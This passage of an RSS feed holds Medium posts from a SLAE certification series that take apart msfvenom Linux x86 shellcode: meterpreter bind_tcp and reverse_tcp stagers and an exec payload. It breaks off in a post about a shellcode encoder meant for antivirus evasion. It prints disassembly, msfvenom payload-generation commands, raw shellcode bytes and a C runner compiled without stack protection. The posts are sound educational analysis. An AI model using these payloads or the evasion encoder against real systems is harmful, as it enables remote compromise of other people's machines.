58                <strong>pop eax</strong><br>0000004D  CD80              <strong>int 0x80</strong><br>0000004F  D1E3              shl ebx,1<br>00000051  B066              <strong>mov al,0x66</strong><br>00000053  CD80              <strong>int 0x80</strong><br>00000055  50                push eax<br>00000056  43                inc ebx<br>00000057  B066              <strong>mov al,0x66</strong><br>00000059  895104            mov [ecx+0x4],edx<br>0000005C  CD80              <strong>int 0x80</strong><br>0000005E  93                xchg eax,ebx<br>0000005F  B60C              mov dh,0xc<br>00000061  B003              <strong>mov al,0x3</strong><br>00000063  CD80              <strong>int 0x80</strong><br>00000065  87DF              xchg ebx,edi<br>00000067  5B                pop ebx<br>00000068  B006              <strong>mov al,0x6</strong><br>0000006A  CD80              <strong>int 0x80</strong><br>0000006C  FFE1              jmp ecx</pre><p>Observe the highlighted instruction sets. There are 8 interrupts for systemcalls as follows:</p><pre>1. Mprotect (eax = 0x7d, ebx = esp, ecx = 0x1000, edx = 0x7)<br>2. Socket Create <br>3. Socket Setsockopt <br>4. Socket Bind<br>5. Socket Listen<br>6. Socket Accept<br>7. Read (eax = 0x3, ebx = socket_descriptor, ecx = esp, dh = 0xc)<br>8. Close  </pre><p>The <strong>Mprotect</strong> system call which changes protection for the calling process’s memory page(s) containing any part of the address range provided in the arguments.</p><pre>int mprotect(const void *addr, size_t len, int prot)</pre><pre>prot is either <strong>PROT_NONE</strong> or a bitwise-or of the other values in the following list:</pre><pre><strong>PROT_NONE</strong>  The memory cannot be accessed at all.</pre><pre><strong>PROT_READ</strong>  The memory can be read.</pre><pre><strong>PROT_WRITE</strong> The memory can be modified.</pre><pre><strong>PROT_EXEC</strong>  The memory can be executed.</pre><p>The shellcode then listens for a socket connection, once the connection is established, it starts reading from that socket. To read more about bind sockets you can go through this <a href="https://medium.com/@chaudharyaditya/slae-0x1-linux-x86-bind-shellcode-e2d4d8cd46fd"><strong>SLAE 0x1: Linux/x86 Bind Shellcode</strong></a></p><p>The <strong>ebx</strong> is set to the <strong>address of esp</strong> and the <strong>ecx</strong> is set to <strong>0x1000</strong> (4096 bytes). The <strong>edx</strong> (argument value for prot) is set to <strong>0x7</strong>, which provides read, write and execute permissions to the memory segment provided in the arguments.</p><p>In the end the shellcode calls the read system call with arguments:</p><pre>ebx &lt;= socket_descriptor<br>ecx &lt;= esp (top of the stack)<br>edx &lt;= 0xc00 (3072 bytes)</pre><p>This read the data from socket and writes it on the stack.</p><p>So, to summarize this— shellcode sets appropriate permissions(0x7) on the stack for 4096 bytes. Then the shellcode listens for a socket connection and once the connection is established it writes data to the stack and jumps there using the last instruction jmp esp</p><p>Here, I have deliberately skipped the explanation of couple of steps for simplicity. You can read about the socket creation, connection and the close syscall using the links that I have provided throughout the blog. And if you still have any doubts, queries or improvement suggestions then feel free to reach out to me.</p><blockquote><em>This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:</em></blockquote><blockquote><a href="http://securitytube-training.com/online-%20courses/securitytube-linux-assembly-expert/"><em>http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/</em></a></blockquote><blockquote><em>Student ID: PA-8416</em></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ecc0945a44e4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SLAE 0x5: Part II — Analyzing MSFvenom ‘linux/x86/meterpreter/reverse_tcp’ shellcode]]></title>
            <link>https://medium.com/@chaudharyaditya/slae-0x5-part-ii-analyzing-msfvenom-linux-x86-meterpreter-reverse-tcp-shellcode-78ae927f2ad0?source=rss-630afb2b99f9------2</link>
            <guid isPermaLink="false">https://medium.com/p/78ae927f2ad0</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[shellcode]]></category>
            <category><![CDATA[slaes]]></category>
            <category><![CDATA[meterpreter]]></category>
            <category><![CDATA[msfvenom]]></category>
            <dc:creator><![CDATA[Aditya Chaudhary]]></dc:creator>
            <pubDate>Fri, 08 Feb 2019 13:03:20 GMT</pubDate>
            <atom:updated>2019-02-26T07:53:48.657Z</atom:updated>
            <content:encoded><![CDATA[<h3>SLAE 0x5: Part II — Analyzing MSFvenom ‘linux/x86/meterpreter/reverse_tcp’ shellcode</h3><p>In this post we will analyse <strong>linux/x86/meterpreter/reverse_tcp</strong> shellcode. If you haven’t read the part I, you can start from there:</p><p><a href="https://medium.com/@chaudharyaditya/slae-0x5-part-i-analyzing-msfvenom-linux-x86-exec-shellcode-3aef6aad4f70">SLAE 0x5: Part I — Analyzing MSFvenom ‘linux/x86/exec’ shellcode</a></p><blockquote><strong><em>Shellcode</em></strong><em> is basically a list of carefully crafted instructions that can be executed once the code is injected into a running application. Stack and heap-based buffer overflows are the most popular way of doing so.</em></blockquote><p>I would recommend that you should do through the basics of shellcoding and MSFvenom before diving head first in this post. For the basics of shellcoding, I would recommend you go through the below mentioned blogs to catch up quickly.</p><ul><li><a href="https://medium.com/@chaudharyaditya/slae-0x1-linux-x86-bind-shellcode-e2d4d8cd46fd">SLAE 0x1: Linux/x86 Bind Shellcode</a></li><li><a href="https://medium.com/@chaudharyaditya/slae-0x2-linux-x86-reverse-shellcode-d7126d638aff">SLAE 0x2: Linux/x86 Reverse Shellcode</a></li></ul><h3>TL;DR</h3><p>Since we live in the era of widespread attention and time deficiency, here’s the summarised version of this entire story:</p><ul><li>Generating the shellcode using MSFvenom</li><li>Disassemble Shellcode — Ndisasm</li><li>Analyze the disassembled instruction set</li></ul><h4>Generating Shellcode</h4><p>Let’s generate the shellcode using <strong>msfvenom</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ddlk4c6EeyB_ubkmlA5q0A.png" /><figcaption>msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=127.1.1.1 LPORT=4444 -a x86 — platform Linux -f raw -o linux_x86_meterpreter_reverse_tcp</figcaption></figure><h4>Dump Shellcode — Ndisasm</h4><p>Let’s use <strong>ndisasm</strong> to generate assembly shellcode from the above generated binary file.</p><p>ndisasm -u linux_x86_meterpreter_reverse_tcp</p><pre>00000000  6A0A              push byte +0xa<br>00000002  5E                pop esi<br>00000003  31DB              xor ebx,ebx<br>00000005  F7E3              mul ebx<br>00000007  53                push ebx<br>00000008  43                inc ebx<br>00000009  53                push ebx<br>0000000A  6A02              push byte +0x2<br>0000000C  B066              <strong>mov al,0x66</strong><br>0000000E  89E1              mov ecx,esp<br>00000010  CD80              <strong>int 0x80</strong><br>00000012  97                xchg eax,edi<br>00000013  5B                pop ebx<br>00000014  687F010101        push dword 0x101017f<br>00000019  680200115C        push dword 0x5c110002<br>0000001E  89E1              mov ecx,esp<br>00000020  6A66              <strong>push byte +0x66</strong><br>00000022  58                <strong>pop eax</strong><br>00000023  50                push eax<br>00000024  51                push ecx<br>00000025  57                push edi<br>00000026  89E1              mov ecx,esp<br>00000028  43                inc ebx<br>00000029  CD80              <strong>int 0x80</strong><br>0000002B  85C0              test eax,eax<br>0000002D  7919              jns 0x48<br>0000002F  4E                dec esi<br>00000030  743D              jz 0x6f<br>00000032  68A2000000        <strong>push dword 0xa2</strong><br>00000037  58                <strong>pop eax</strong><br>00000038  6A00              push byte +0x0<br>0000003A  6A05              push byte +0x5<br>0000003C  89E3              mov ebx,esp<br>0000003E  31C9              xor ecx,ecx<br>00000040  CD80              <strong>int 0x80</strong><br>00000042  85C0              test eax,eax<br>00000044  79BD              jns 0x3<br>00000046  EB27              jmp short 0x6f<br>00000048  B207              mov dl,0x7<br>0000004A  B900100000        mov ecx,0x1000<br>0000004F  89E3              mov ebx,esp<br>00000051  C1EB0C            shr ebx,0xc<br>00000054  C1E30C            shl ebx,0xc<br>00000057  B07D              <strong>mov al,0x7d</strong><br>00000059  CD80              <strong>int 0x80</strong><br>0000005B  85C0              test eax,eax<br>0000005D  7810              js 0x6f<br>0000005F  5B                pop ebx<br>00000060  89E1              mov ecx,esp<br>00000062  99                cdq<br>00000063  B60C              mov dh,0xc<br>00000065  B003              mov al,0x3<br>00000067  CD80              <strong>int 0x80</strong><br>00000069  85C0              test eax,eax<br>0000006B  7802              js 0x6f<br>0000006D  FFE1              jmp ecx<br>0000006F  B801000000        <strong>mov eax,0x1</strong><br>00000074  BB01000000        mov ebx,0x1<br>00000079  CD80              <strong>int 0x80</strong></pre><p>Observe the highlighted instruction sets. There are 6 interrupts for systemcalls as follows:</p><pre>1. Socket Create (eax = 0x66, ebx = 0x1)<br>2. Socket Connect (eax = 0x66, ebx = 0x3)<br>3. NanoSleep (eax = 0xa2)<br>4. Mprotect (eax = 0x7d, ebx = esp, ecx = 0x1000, edx = 0x7)<br>5. Read (eax = 0x3, ebx = socket_descriptor, ecx = esp, dh = 0xc)<br>6. Exit (eax = 0x1, ebx = 0x1)</pre><p>The interesting part here is the <strong>Mprotect</strong> system call which changes protection for the calling process’s memory page(s) containing any part of the address range provided in the arguments.</p><pre>int mprotect(const void *addr, size_t len, int prot)</pre><pre>prot is either <strong>PROT_NONE</strong> or a bitwise-or of the other values in the following list:</pre><pre><strong>PROT_NONE</strong>  The memory cannot be accessed at all.</pre><pre><strong>PROT_READ</strong>  The memory can be read.</pre><pre><strong>PROT_WRITE</strong> The memory can be modified.</pre><pre><strong>PROT_EXEC</strong>  The memory can be executed.</pre><p>The <strong>ebx</strong> is set to the <strong>address of esp</strong> and the <strong>ecx</strong> is set to <strong>0x1000</strong> (4096 bytes). The <strong>edx</strong> (argument value for prot) is set to <strong>0x7</strong>, which provides read, write and execute permissions to the memory segment provided in the arguments.</p><p>In the end the shellcode calls the read system call with arguments:</p><pre>ebx &lt;= socket_descriptor<br>ecx &lt;= esp (top of the stack)<br>edx &lt;= 0xc00 (3072 bytes)</pre><p>This read the data from socket and writes it on the stack.</p><p>So, to summarize the working of this shellcode — an attempt for socket connect is made, if successful then the shellcode sets appropriate permissions(0x7) on the stack for 4096 bytes. Then the shellcode calls read syscall which reads data from socket and writes it on the memory pointed by the stack. Then the control is passed to the stage written on stack using the instruction jmp ecx</p><p>This summaries this blog. Continue reading the Part III here, where we’ll walk through the <strong>linux/x86/meterpreter/bind_tcp</strong> shellcode.</p><p><a href="https://medium.com/@chaudharyaditya/slae-0x5-part-iii-analyzing-msfvenom-linux-x86-meterpreter-bind-tcp-shellcode-ecc0945a44e4">SLAE 0x5: Part III — Analyzing MSFvenom ‘linux/x86/meterpreter/bind_tcp’ shellcode</a></p><blockquote><em>This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:</em></blockquote><blockquote><a href="http://securitytube-training.com/online-%20courses/securitytube-linux-assembly-expert/"><em>http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/</em></a></blockquote><blockquote><em>Student ID: PA-8416</em></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=78ae927f2ad0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SLAE 0x5: Part I — Analyzing MSFvenom ‘linux/x86/exec’ shellcode]]></title>
            <link>https://medium.com/@chaudharyaditya/slae-0x5-part-i-analyzing-msfvenom-linux-x86-exec-shellcode-3aef6aad4f70?source=rss-630afb2b99f9------2</link>
            <guid isPermaLink="false">https://medium.com/p/3aef6aad4f70</guid>
            <category><![CDATA[meterpreter]]></category>
            <category><![CDATA[msfvenom]]></category>
            <category><![CDATA[slaes]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[shellcoding]]></category>
            <dc:creator><![CDATA[Aditya Chaudhary]]></dc:creator>
            <pubDate>Fri, 08 Feb 2019 13:03:11 GMT</pubDate>
            <atom:updated>2019-02-26T07:53:37.727Z</atom:updated>
            <content:encoded><![CDATA[<h3>SLAE 0x5: Part I - Analyzing MSFvenom ‘linux/x86/exec’ shellcode</h3><p>In this post we will analyse <strong>linux/x86/exec</strong> shellcode.</p><blockquote><strong><em>Shellcode</em></strong><em> is basically a list of carefully crafted instructions that can be executed once the code is injected into a running application. Stack and heap-based buffer overflows are the most popular way of doing so.</em></blockquote><p>I would recommend that you should do through the basics of shellcoding and MSFvenom before diving head first in this post. For the basics of shellcoding, I would recommend you go through the below mentioned blogs to catch up quickly.</p><ul><li><a href="https://medium.com/@chaudharyaditya/slae-0x1-linux-x86-bind-shellcode-e2d4d8cd46fd">SLAE 0x1: Linux/x86 Bind Shellcode</a></li><li><a href="https://medium.com/@chaudharyaditya/slae-0x2-linux-x86-reverse-shellcode-d7126d638aff">SLAE 0x2: Linux/x86 Reverse Shellcode</a></li></ul><h3>TL;DR</h3><p>Since we live in the era of widespread attention and time deficiency, here’s the summarised version of this entire story:</p><ul><li>Generating the shellcode using MSFvenom</li><li>Disassemble Shellcode — Ndisasm</li><li>Shellcode Emulation — Libemu</li><li>Tracing System Calls and Signals — strace</li></ul><h4>Generating Shellcode</h4><p>Let’s generate the shellcode using <strong>msfvenom</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Yz6e04snctW7BtN3vnnE0g.png" /><figcaption>msfvenom -p linux/x86/exec CMD=”ls -la” R -o linux_x86_exec</figcaption></figure><h4>Dump Shellcode — Ndisasm</h4><p>Let’s use <strong>ndisasm</strong> to generate assembly shellcode from the above generated binary file.</p><p>ndisasm -u linux_x86_exec</p><pre>00000000  6A0B              push byte +0xb<br>00000002  58                pop eax<br>00000003  99                cdq<br>00000004  52                push edx<br>00000005  66682D63          push word 0x632d<br>00000009  89E7              mov edi,esp<br>0000000B  682F736800        push dword 0x68732f<br>00000010  682F62696E        push dword 0x6e69622f<br>00000015  89E3              mov ebx,esp<br>00000017  52                push edx<br>00000018  E807000000        call dword 0x24<br>0000001D  6C                insb<br>0000001E  7320              jnc 0x40<br>00000020  2D6C610057        sub eax,0x5700616c<br>00000025  53                push ebx<br>00000026  89E1              mov ecx,esp<br>00000028  CD80              int 0x80</pre><p>From the above instruction set, it looks like there is system call with a some values set in registers. String 0x632d is reverse of <strong>-c</strong>, 0x68732f is reverse of <strong>/sh</strong> and 0x6e69622f is reverse of <strong>/bin</strong>. This did not provide us enough information, we can now either trace the entire instruction set to figure out the working of this shellcode or we can use <strong>libemu</strong> to emulate and study the behaviour of this shellcode.</p><h4>Shellcode Emulation — Libemu</h4><p>With the below mentioned command, we will generate a dump file which will contain the entire debugged output with pseudo C code for the shellcode in the end. The command will also generate a dot format callgraph.</p><p>./libemu/tools/sctest/sctest -vvv -Ss 100000 -G linux_x86_exec.dot &lt; linux_x86_exec &gt; linux_x86_exec_dump</p><p>We can convert the dot file to png using:</p><p>dot linux_x86_exec.dot -Tpng -o linux_x86_exec.png</p><p><strong>linux_x86_exec_dump</strong> file: <a href="https://gist.github.com/AdityaChaudhary/b9bf4b7f2317c01ea557da04ce6e754e">https://gist.github.com/AdityaChaudhary/b9bf4b7f2317c01ea557da04ce6e754e</a></p><p>C pseudo code generated by <strong>sctool</strong>:</p><pre>int execve (<br>     const char * dateiname = 0x00416fc0 =&gt; <br>           = &quot;/bin/sh&quot;;<br>     const char * argv[] = [<br>           = 0x00416fb0 =&gt; <br>               = 0x00416fc0 =&gt; <br>                   = &quot;/bin/sh&quot;;<br>           = 0x00416fb4 =&gt; <br>               = 0x00416fc8 =&gt; <br>                   = &quot;-c&quot;;<br>           = 0x00416fb8 =&gt; <br>               = 0x0041701d =&gt; <br>                   = &quot;ls -la&quot;;<br>           = 0x00000000 =&gt; <br>             none;<br>     ];<br>     const char * envp[] = 0x00000000 =&gt; <br>         none;<br>) =  0;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*VvVHbbDc9kveHtCaog1WxQ.png" /><figcaption>Shellcode callgraph</figcaption></figure><p>Callgraph gives us very clear understanding of all the system and procedure calls in this shellcode. In this case there is only one systemcall i.e. execve.</p><p>Inspecting the C pseudo code, we get a clear idea that the shellcode calls <strong>exevce</strong> with arguments <strong>“/bin/sh”,</strong> <strong>“-c”, ”ls -la” </strong>and<strong> none</strong>(Null).</p><h4>Tracing System Calls and Signals — strace</h4><p>Let’s use <strong>strace</strong> to observe the system calls as the program runs. For this we can generate a <strong>c</strong> format shellcode using MSFvenom.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hxVdEWBx5z3fxfvJkaAYGw.png" /><figcaption>msfvenom -p linux/x86/exec CMD=’ls -la’ -f c -b ‘\x00’</figcaption></figure><blockquote><em>Be cautious, this method will run the shellcode on your machine with no virtualization or emulation.</em></blockquote><pre>&quot;\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68&quot;<br>&quot;\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x07\x00\x00\x00\x6c&quot;<br>&quot;\x73\x20\x2d\x6c\x61\x00\x57\x53\x89\xe1\xcd\x80&quot;</pre><p>Let’s replace this shellcode in our C shellcode wrapper <a href="https://gist.github.com/AdityaChaudhary/d37361b4847de1640ad2923d277b936f">https://gist.github.com/AdityaChaudhary/d37361b4847de1640ad2923d277b936f</a></p><pre>#include&lt;stdio.h&gt;<br>#include&lt;string.h&gt;</pre><pre>unsigned char code[] = \<br>&quot;\xbf\x4f\x92\xfb\x62\xda\xdb\xd9\x74\x24\xf4\x58\x2b\xc9\xb1&quot;<br>&quot;\x0b\x31\x78\x14\x83\xc0\x04\x03\x78\x10\xad\x67\x91\x69\x69&quot;<br>&quot;\x11\x34\x08\xe1\x0c\xda\x5d\x16\x26\x33\x2d\xb0\xb7\x23\xfe&quot;<br>&quot;\x22\xd1\xdd\x89\x41\x73\xca\x8d\x85\x74\x0a\xfe\xf6\x54\x27&quot;<br>&quot;\x92\x99\x94\x60\x39\xd0\x74\x43\x3d&quot;;</pre><pre>main()<br>{</pre><pre>    printf(&quot;Shellcode Length:  %d\n&quot;, strlen(code));</pre><pre>    int (*ret)() = (int(*)())code;</pre><pre>    ret();</pre><pre>}</pre><p>Compile the shellcode.</p><p>gcc -g -fno-stack-protector -z execstack -o shellcode shellcode.c</p><p>Now, let’s use <strong>strace</strong> to trace system calls and signals.</p><p>strace ./shellcode</p><p>Observe the system calls from the below output. The line mentioned in bold is the systemcall to <strong>exevce</strong> from our shellcode.</p><pre>execve(&quot;./shellcode&quot;, [&quot;./shellcode&quot;], [/* 23 vars */]) = 0<br>brk(0)                                  = 0x90c6000<br>access(&quot;/etc/ld.so.nohwcap&quot;, F_OK)      = -1 ENOENT (No such file or directory)<br>mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7708000<br>access(&quot;/etc/ld.so.preload&quot;, R_OK)      = -1 ENOENT (No such file or directory)<br>open(&quot;/etc/ld.so.cache&quot;, O_RDONLY|O_CLOEXEC) = 3<br>fstat64(3, {st_mode=S_IFREG|0644, st_size=71789, ...}) = 0<br>mmap2(NULL, 71789, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb76f6000<br>close(3)                                = 0<br>access(&quot;/etc/ld.so.nohwcap&quot;, F_OK)      = -1 ENOENT (No such file or directory)<br>open(&quot;/lib/i386-linux-gnu/libc.so.6&quot;, O_RDONLY|O_CLOEXEC) = 3<br>read(3, &quot;\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0000\226\1\0004\0\0\0&quot;..., 512) = 512<br>fstat64(3, {st_mode=S_IFREG|0755, st_size=1734120, ...}) = 0<br>mmap2(NULL, 1747676, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb754b000<br>mprotect(0xb76ef000, 4096, PROT_NONE)   = 0<br>mmap2(0xb76f0000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1a4) = 0xb76f0000<br>mmap2(0xb76f3000, 10972, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb76f3000<br>close(3)                                = 0<br>mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb754a000<br>set_thread_area({entry_number:-1 -&gt; 6, base_addr:0xb754a900, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0<br>mprotect(0xb76f0000, 8192, PROT_READ)   = 0<br>mprotect(0x8049000, 4096, PROT_READ)    = 0<br>mprotect(0xb772b000, 4096, PROT_READ)   = 0<br>munmap(0xb76f6000, 71789)               = 0<br>fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 5), ...}) = 0<br>mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7707000<br>write(1, &quot;Shellcode Length:  69\n&quot;, 22Shellcode Length:  69<br>) = 22<br><strong>execve(&quot;/bin/sh&quot;, [&quot;/bin/sh&quot;, &quot;-c&quot;, &quot;ls -la&quot;], [/* 0 vars */]) = 0</strong><br>brk(0)                                  = 0x97d7000<br>access(&quot;/etc/ld.so.nohwcap&quot;, F_OK)      = -1 ENOENT (No such file or directory)<br>mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb77be000<br>access(&quot;/etc/ld.so.preload&quot;, R_OK)      = -1 ENOENT (No such file or directory)<br>open(&quot;/etc/ld.so.cache&quot;, O_RDONLY|O_CLOEXEC) = 3<br>fstat64(3, {st_mode=S_IFREG|0644, st_size=71789, ...}) = 0<br>mmap2(NULL, 71789, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb77ac000<br>close(3)                                = 0<br>access(&quot;/etc/ld.so.nohwcap&quot;, F_OK)      = -1 ENOENT (No such file or directory)<br>open(&quot;/lib/i386-linux-gnu/libc.so.6&quot;, O_RDONLY|O_CLOEXEC) = 3<br>read(3, &quot;\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0000\226\1\0004\0\0\0&quot;..., 512) = 512<br>fstat64(3, {st_mode=S_IFREG|0755, st_size=1734120, ...}) = 0<br>mmap2(NULL, 1747676, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb7601000<br>mprotect(0xb77a5000, 4096, PROT_NONE)   = 0<br>mmap2(0xb77a6000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1a4) = 0xb77a6000<br>mmap2(0xb77a9000, 10972, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb77a9000<br>close(3)                                = 0<br>mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7600000<br>set_thread_area({entry_number:-1 -&gt; 6, base_addr:0xb7600900, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0<br>mprotect(0xb77a6000, 8192, PROT_READ)   = 0<br>mprotect(0x805f000, 4096, PROT_READ)    = 0<br>mprotect(0xb77e1000, 4096, PROT_READ)   = 0<br>munmap(0xb77ac000, 71789)               = 0<br>getpid()                                = 18456<br>rt_sigaction(SIGCHLD, {0x8055f60, ~[RTMIN RT_1], 0}, NULL, 8) = 0<br>geteuid32()                             = 1000<br>getppid()                               = 18455<br>brk(0)                                  = 0x97d7000<br>brk(0x97f8000)                          = 0x97f8000<br>getcwd(&quot;/media/sf_rev_engg/shell_coding/analysis&quot;, 4096) = 41<br>rt_sigaction(SIGINT, NULL, {SIG_DFL, [], 0}, 8) = 0<br>rt_sigaction(SIGINT, {0x8055f60, ~[RTMIN RT_1], 0}, NULL, 8) = 0<br>rt_sigaction(SIGQUIT, NULL, {SIG_DFL, [], 0}, 8) = 0<br>rt_sigaction(SIGQUIT, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 8) = 0<br>rt_sigaction(SIGTERM, NULL, {SIG_DFL, [], 0}, 8) = 0<br>rt_sigaction(SIGTERM, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 8) = 0<br>stat64(&quot;/usr/local/sbin/ls&quot;, 0xbfc33380) = -1 ENOENT (No such file or directory)<br>stat64(&quot;/usr/local/bin/ls&quot;, 0xbfc33380) = -1 ENOENT (No such file or directory)<br>stat64(&quot;/usr/sbin/ls&quot;, 0xbfc33380)      = -1 ENOENT (No such file or directory)<br>stat64(&quot;/usr/bin/ls&quot;, 0xbfc33380)       = -1 ENOENT (No such file or directory)<br>stat64(&quot;/sbin/ls&quot;, 0xbfc33380)          = -1 ENOENT (No such file or directory)<br>stat64(&quot;/bin/ls&quot;, {st_mode=S_IFREG|0755, st_size=108612, ...}) = 0<br>clone(child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0xb7600968) = 18457<br>wait4(-1, total 80<br>drwxrwx--- 1 root vboxsf   384 Feb  7 11:36 .<br>drwxrwx--- 1 root vboxsf  1408 Feb  6 12:33 ..<br>drwxrwx--- 1 root vboxsf    64 Feb  6 15:33 .libs<br>drwxrwx--- 1 root vboxsf  1152 Feb  7 09:52 libemu<br>-rwxrwx--- 1 root vboxsf    42 Feb  7 10:43 linux_x86_exec<br>-rwxrwx--- 1 root vboxsf   315 Feb  7 11:32 linux_x86_exec.c<br>-rwxrwx--- 1 root vboxsf    66 Feb  7 11:20 linux_x86_exec.dot<br>-rwxrwx--- 1 root vboxsf 39040 Feb  7 11:06 linux_x86_exec.png<br>-rwxrwx--- 1 root vboxsf   248 Feb  7 11:26 linux_x86_exec.sh<br>-rwxrwx--- 1 root vboxsf  8039 Feb  7 11:05 linux_x86_exec_dump<br>-rwxrwx--- 1 root vboxsf  8614 Feb  7 11:36 shellcode<br>-rwxrwx--- 1 root vboxsf   461 Feb  7 11:36 shellcode.c<br>[{WIFEXITED(s) &amp;&amp; WEXITSTATUS(s) == 0}], 0, NULL) = 18457<br>--- SIGCHLD (Child exited) @ 0 (0) ---<br>sigreturn()                             = ? (mask now [])<br>exit_group(0)                           = ?</pre><p>Observe the <strong>execve</strong> call with arguments below. This shellcode is just executing the command <strong>/bin/bash -c ls -la</strong>.</p><pre><strong>execve(&quot;/bin/sh&quot;, [&quot;/bin/sh&quot;, &quot;-c&quot;, &quot;ls -la&quot;], [/* 0 vars */])</strong></pre><p>This summaries this blog. Continue reading the Part II here, where we’ll walk through the <strong>linux/x86/meterpreter/reverse_tcp</strong> shellcode.</p><p><a href="https://medium.com/@chaudharyaditya/slae-0x5-part-ii-analyzing-msfvenom-linux-x86-meterpreter-reverse-tcp-shellcode-78ae927f2ad0">SLAE 0x5: Part II — Analyzing MSFvenom ‘linux/x86/meterpreter/reverse_tcp’ shellcode</a></p><blockquote><em>This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:</em></blockquote><blockquote><a href="http://securitytube-training.com/online-%20courses/securitytube-linux-assembly-expert/"><em>http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/</em></a></blockquote><blockquote><em>Student ID: PA-8416</em></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3aef6aad4f70" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SLAE 0x4: Shellcode Encoder]]></title>
            <link>https://medium.com/@chaudharyaditya/slae-0x4-shellcode-encoder-776450de0f36?source=rss-630afb2b99f9------2</link>
            <guid isPermaLink="false">https://medium.com/p/776450de0f36</guid>
            <category><![CDATA[slaes]]></category>
            <category><![CDATA[shell]]></category>
            <category><![CDATA[assembly]]></category>
            <category><![CDATA[shellcoding]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Aditya Chaudhary]]></dc:creator>
            <pubDate>Tue, 05 Feb 2019 11:01:11 GMT</pubDate>
            <atom:updated>2019-02-26T07:53:02.958Z</atom:updated>
            <content:encoded><![CDATA[<h3>SLAE 0x4: Shellcode Random Insertion Encoder</h3><p>This post is about writing an insertion encoder for Linux/x86 shellcodes. I would recommend you should go through shellcoding basics before spending some time here.</p><p>Some basics first…</p><blockquote><strong><em>Shellcode</em></strong><em> is basically a list of carefully crafted instructions that can be executed once the code is injected into a running application. Stack and heap-based buffer overflows are the most popular way of doing so.</em></blockquote><blockquote><strong><em>Shellcode Encoding</em></strong><em> is a process of converting shellcode into a form that is not easily recognized. This technique is generally used to antivirus evasion.</em></blockquote><p>For the basics of shellcoding, I would recommend you go through the below mentioned blogs to catch up quickly.</p><ul><li><a href="https://medium.com/@chaudharyaditya/slae-0x1-linux-x86-bind-shellcode-e2d4d8cd46fd">SLAE 0x1: Linux/x86 Bind Shellcode</a></li><li><a href="https://medium.com/@chaudharyaditya/slae-0x2-linux-x86-reverse-shellcode-d7126d638aff">SLAE 0x2: Linux/x86 Reverse Shellcode</a></li></ul><h3>TL;DR</h3><p>Since we live in the era of widespread attention and time deficiency, here’s the summarised version of this entire story:</p><ul><li>Create an execve-stack shellcode</li><li>Create a Python script to encode the shellcode</li><li>Write out shellcode decoder in Assembly</li><li>Use shellcode wrapper in C for final test</li></ul><h4>Execve-stack Shellcode</h4><p>Let’s create a shellcode which will spawn shell using execve-stack.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/f504a31276c26bce996c950afcedde06/href">https://medium.com/media/f504a31276c26bce996c950afcedde06/href</a></iframe><p>Let’s compile and link the shellcode using nasm and ld.</p><figure><img alt="" 